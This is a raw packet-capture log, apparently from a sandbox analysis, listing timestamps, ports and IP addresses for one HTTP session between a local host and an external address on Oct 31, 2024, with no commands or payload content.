Oct 31, 2024 04:15:15.924540043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924565077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924576998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924611092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924643993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924665928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924679995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924695015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924705029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924740076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924741030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924755096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924789906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924796104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924858093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924870014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924885035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924910069 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924932003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924935102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924945116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924983025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925010920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925061941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925075054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925112963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925141096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925152063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925165892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925183058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925204039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925225019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925292015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925306082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925337076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925345898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925376892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925379992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925393105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925426006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925426960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925488949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925512075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925544977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925551891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925558090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925591946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925637960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925673962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925689936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925703049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925738096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925743103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925756931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925815105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925832033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925854921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925868988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925904989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925904989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.925940990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.925944090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926008940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926023960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926047087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.926107883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926120996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926139116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926150084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.926184893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.926228046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926243067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926255941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926271915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.926361084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926373959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926387072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926400900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926412106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.926414967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.926441908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.926484108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957079887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957127094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957137108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957151890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957168102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957180977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957180977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957195997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957216024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957235098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957266092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957285881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957299948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957314968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957324982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957349062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957384109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957397938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957412004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957434893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957444906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957459927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957462072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957494974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957530022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957545042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957559109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957585096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957674980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957689047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957703114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957715034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957716942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957739115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957760096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957794905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957823038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957837105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957859039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957885981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957895041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957921982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.957935095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.957948923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958018064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958041906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958055973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958061934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958076000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958085060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958089113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958117008 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958240986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958254099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958266973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958277941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958306074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958317995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958332062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958368063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958370924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958422899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958436966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958472967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958503962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958515882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958532095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958544016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958573103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958600998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958615065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958627939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958642006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958663940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958687067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.958759069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958771944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958786011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.958808899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.001194000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084475994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084526062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084537029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084548950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084559917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084593058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084619999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084630966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084631920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084644079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084667921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084678888 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084722042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084733963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084743977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084753036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084769964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084794044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084830999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084842920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084852934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084871054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.084933043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084944963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084954977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084964991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.084980011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085011005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085047007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085081100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085114956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085125923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085134983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085158110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085161924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085195065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085251093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085262060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085273027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085300922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085320950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085330963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085341930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085357904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085385084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085414886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085431099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085495949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085508108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085536003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085562944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085572958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085582972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085592985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085618019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085654020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085689068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085720062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085774899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085786104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085819960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085859060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085875988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.085901976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.085983992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086020947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.086035967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086046934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086076021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.086149931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086160898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086170912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086183071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086193085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.086226940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.086266041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086276054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086286068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.086316109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111166954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111177921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111188889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111223936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111239910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111309052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111327887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111339092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111349106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111366987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111373901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111397028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111485004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111495972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111505985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111524105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111548901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111660004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111670971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111680984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111704111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111733913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111743927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111753941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111769915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111778021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111804962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111907959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111918926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111934900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111948013 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.111963034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.111980915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112004995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112008095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112015009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112036943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112039089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112076044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112289906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112302065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112312078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112322092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112332106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112344027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112349987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112349987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112365007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112375021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112418890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112432003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112453938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112603903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112616062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112631083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112636089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112668037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112773895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112787008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112797976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112809896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112822056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112833977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112843990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.112921953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112931013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.112957001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113116026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113127947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113138914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113149881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113153934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113166094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113176107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113199949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113199949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113289118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113301039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113311052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113322973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113323927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113334894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113348961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113379002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113465071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113476992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113637924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113648891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113657951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113670111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113679886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113681078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113693953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113701105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113727093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.113775015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113962889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113974094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.113982916 CET	80	49738	185.215.113.16	192.168.2.4
